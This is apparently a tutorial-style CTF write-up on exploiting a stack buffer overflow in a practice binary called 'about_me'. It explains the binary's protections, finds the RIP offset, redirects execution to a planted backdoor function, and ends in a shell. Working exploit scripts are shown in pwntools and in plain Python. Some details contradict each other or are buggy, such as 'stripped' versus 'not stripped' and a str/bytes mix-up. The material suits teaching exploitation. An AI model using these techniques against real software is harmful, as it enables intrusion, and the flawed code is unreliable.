Introduction
In the about section, there is an executable that seems to create a segmentation fault when the input is really long, so let’s try to break it. We can download it from here.
Initial Assessment
Let’s take a look on the file.
file and checksec
Using file
we can see that it is a 64-bit ELF that is stripped and with checksec
from pwntools we can see that it has NX enabled, partial RelRO, no PIE and no stack canary. So what does this mean?
Security features explanation
NX1: NX (No-eXecute) means we cannot execute instructions from the stack. So even if we can put our payload there, the CPU will not execute it. This is enabled by default on GCC.
- RelRO23: RelRO means Relocation Read-Only
Partial RelRO: It makes the .init_array .fini_array .jcr .dynamic and .got sections (basically the .bss[^.bss] section) to be marked as read-only after they have been initialized by the dynamic loader, but the .got.plt section is still writable. This is enabled by default on GCC.
Full RelRO: All imported symbols are resolved and the entire the .got.plt section is initialized with the final addresses of the target functions as read-only at startup time and the .got and .got.plt are merged into the .got section. This means that we cannot overwrite the function addresses on the GOT4 (Global Offset Table), but this is not enabled by default on GCC as it can greatly increase program startup time since all symbols must be resolved before the program is started.
PIE5: PIE (Position Independent Executable) means that the binary and all of its dependencies are loaded into random locations within virtual memory each time the application is executed. This makes ROP6 (Return Oriented Programming) attacks much more difficult.
- Stack Canary7: The stack canary is a random integer that is generated at startup and it is placed just before the stack pointer and checked before the function return for integrity, so if the return pointer is overwritten and the canary is not replaced with the original one, the program exits.
We also see that the binary is not stripped, which means that we have debugging symbols in the binary and which makes debugging a lot easier!
If we give the program an input that is bigger that it expects, the program crashes. Giving unexpected input
Pre-Exploitation
We will be using gdb
with the plugin GEF. Let’s start by creating a pattern that we can give to the executable that has distinct parts8 so we can identify which offset overwrite the return pointer (RIP). We can do that with gef and then we can feed that to the executable:
1
2
gdb ./about_me
pattern create 1024
Generating De Bruijn sequence Running the application with the generated sequence as input
Now we want to put our return address into RIP but how, if the RIP has not been overwritten? We can put our return address on top of the stack and when the ret
instruction will be called, our address will be popped and put into the RIP. To do that we have to find what is the offset of the RSP (stack pointer) which points to the top of the current stack frame and overwrite it with our address.
The stack was overwritten by the sequence
Ok, now we want to find some place to redirect the execution to. Let’s see what functions the executable has.
1
info functions
Hidden backdoor function inside the executable
1
disassemble *backdoor
The disassembled backdoor function
It’s our lucky day! Someone left a backdoor into the program, so we will direct the execution there.
So we want a 9 byte long junk and the we have to put the return address that we want to go to.
Exploitation
Exploitation with pwntools
At first we can try exploiting the application using pwntools.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/env python3
from pwn import *
# Pack to 64-bit
backdoor = p64(0x00000000004011ef)
# We use python3 so have to use bytes instead of strings as they are not the same class as they where on python2
buf = 9 * 'A'
payload = buf + backdoor
p = process('./about_me')
p.sendline(payload)
p.interactive()
Exploited the application with pwntools
Nice! Now let’s do it without pwntools.
Exploitation without pwntools
Now we have to pack the address ourselves and send it to the application. Most modern systems are little-endian but we can check with:
1
lscpu | grep "Byte Order"
System Endianes
So we have to pack our address with struct.pack
using the <I
flag or we can convert the address by hand, starting from the most significant bit.
Furthermore, we use python3 so the classes of byte
and string
are not the same anymore as it was on python2. This creates two problems:
- We cannot concatenate bytes and strings.
- We cannot print bytes straight to stdout using print.
To solve this we have to:
- Only use bytes in our payload.
- Output to stdout using sys.stdout.buffer.write and add a
\n
at the end to simulate a line break.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/env python3
import sys
import struct
# Packing with struct
backdoor1 = struct.pack('<I', 0x4011ef)
# Packing by hand
backdoor2 = b'\xef\x11\x40\x00'
assert backdoor1 == backdoor2
buf = 9 * b'A'
payload = buf + backdoor1 + b'\n'
sys.stdout.buffer.write(payload)
Let’s run it and pipe the output to the application.
Exploited the application but no shell
Hmm, there is no segmentation fault but the input is overwriting the return pointer. That may mean that the pipe is closing after the initial payload delivery, leaving us with no shell. We can verify our assumption by passing an argument after to our payload.
1
(./exploit_with_out_pwntools.py; echo id) | ./about_me
Exploited the application & command execution
Great! Now we can use cat
with no arguments to keep the pipe open and pass stdin
to stdout
.
1
(./exploit_with_out_pwntools.py; cat) | ./about_me
Exploited the application & /bin/sh shell
Conclusion
This way of exploiting vulnerable functions is rarely used in the wild as the default GCC settings try to mitigate this attack using PIE, randomising the address of the functions inside the executable and usually backdoors are not built in in most applications91011121314. We will try to overcome those barriers in the next post!
You can find the C code that was used to create the vulnerable executable here.